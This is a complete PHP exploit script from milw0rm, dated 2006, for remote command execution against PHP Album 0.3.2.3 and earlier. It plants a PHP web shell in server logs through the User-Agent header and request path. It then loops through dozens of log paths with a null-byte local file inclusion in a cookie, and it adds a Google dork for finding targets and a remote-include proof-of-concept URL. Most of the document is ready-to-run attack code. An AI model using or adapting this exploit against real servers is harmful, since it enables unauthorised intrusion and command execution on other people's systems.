PHP Album <= 0.3.2.3 - Remote Command Execution Exploit

                                                #!/usr/bin/php -q -d short_open_tag=on
<?
echo "PHP Album <= 0.3.2.3 remote cmmnds xctn\r\n";
echo "by rgod [email protected]\r\n";
echo "site: http://retrogod.altervista.org\r\n";
echo "-> this works with magic_quotes_gpc=Off & register_globals=On\r\n";
echo "dork: \"powered by php photo album\" -demo2 -pitanje\r\n\r\n";

if ($argc<4) {
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";
echo "host:      target server (ip/hostname)\r\n";
echo "path:      path to php album\r\n";
echo "cmd:       a shell command\r\n";
echo "Options:\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /phppa/ \r\n";
echo "php ".$argv[0]." localhost /phppa/ ls -la -p81\r\n";
echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80\r\n";
die;
}
/*
 software site: http://www.phpalbum.net/

vulnerable code in language.php at line 21-23:
<?
$pa_texts=Array(
"ID_NEXT" => "next",
"ID_PREV" => "previous",
"ID_NEXT_PAGE" => "next page",
"ID_PREV_PAGE" => "previous page",
"ID_ALBUM_NAME" => "Photoalbum",
"ID_PHOTO_DIR" => "Photos",
"ID_SETUP" => "setup",
"ID_HOME" => "Home",
"ID_NAME" => "Name",
"ID_EMAIL" => "Email",
"ID_NAME_EMAIL" => "Optional you can enter your name and email",
"ID_COMMENT_INSTR" => "Please type your message click Add New Comment",
"ID_ADD_COMMENT" => "Add new comment",
"ID_ENTER_PASSWD" => "Enter password:",
"ID_DELETE_COMMENT" => "Delete Comment",
"ID_ALBUMS" => "Albums"
);

if(file_exists($data_dir."translation.dat")){
	include($data_dir."translation.dat");
}
....

"data_dir" argument is uninitialized, so:
i)  if magic_quotes_gpc = off and register_globals = On you can include
    arbitrary files from local resources
ii) against PHP5, if register_globals = On and allow_url_fopen = 0n,
    you can include an arbitrary translation.dat file from a ftp resource, poc:

    http://[target]/[path]/language.php?cmd=ls%20-la&data_dir=ftp://Anonymous:[email protected]/public/

this is the code for i), you can do ii) manually
									      */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$cmd="";$port=80;$proxy="";

for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "[1] Injecting some code in log files...\r\n";
$CODE ='suntzu<?php passthru($_REQUEST[cmd]);die;?>suntzu';
$packet.="GET ".$path.$CODE." HTTP/1.1\r\n";
$packet.="User-Agent: ".$CODE."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: close\r\n\r\n";
#debug
#echo quick_dump($packet);
sendpacketii($packet);
sleep(2);

# fill with possible locations
$paths= array (
"/var/log/httpd/access_log",
"/var/log/httpd/error_log",
"../apache/logs/error.log",
"../apache/logs/access.log",
"../../apache/logs/error.log",
"../../apache/logs/access.log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log",
"../../../../apache/logs/error.log",
"../../../../apache/logs/access.log",
"../../../../../apache/logs/error.log",
"../../../../../apache/logs/access.log",
"../logs/error.log",
"../logs/access.log",
"../../logs/error.log",
"../../logs/access.log",
"../../../logs/error.log",
"../../../logs/access.log",
"../../../../logs/error.log",
"../../../../logs/access.log",
"../../../../../logs/error.log",
"../../../../../logs/access.log",
"/etc/httpd/logs/acces_log",
"/etc/httpd/logs/acces.log",
"/etc/httpd/logs/error_log",
"/etc/httpd/logs/error.log",
"/var/www/logs/access_log",
"/var/www/logs/access.log",
"/usr/local/apache/logs/access_log",
"/usr/local/apache/logs/access.log",
"/var/log/apache/access_log",
"/var/log/apache/access.log",
"/var/log/access_log",
"/var/www/logs/error_log",
"/var/www/logs/error.log",
"/usr/local/apache/logs/error_log",
"/usr/local/apache/logs/error.log",
"/var/log/apache/error_log",
"/var/log/apache/error.log",
"/var/log/access_log",
"/var/log/error_log"
);

for ($i=0; $i<=count($paths)-1; $i++)
{
$a=$i+2;
echo "[".$a."] trying with ".$paths[$i]."%00 ...\r\n";
$packet ="GET ".$p."language.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: data_dir=".$paths[$i]."%00; cmd=".$cmd."\r\n"; //through cookies, log this ;)
$packet.="Connection: Close\r\n\r\n";
//echo quick_dump($packet);
sendpacketii($packet);
if (strstr($html,"suntzu"))
{
 echo "Exploit succeeded...\r\n";
 $temp=explode("suntzu",$html);
 die($temp[1]);
}
}
//if you are here...
echo "Exploit failed...";
?>

# milw0rm.com [2006-04-15]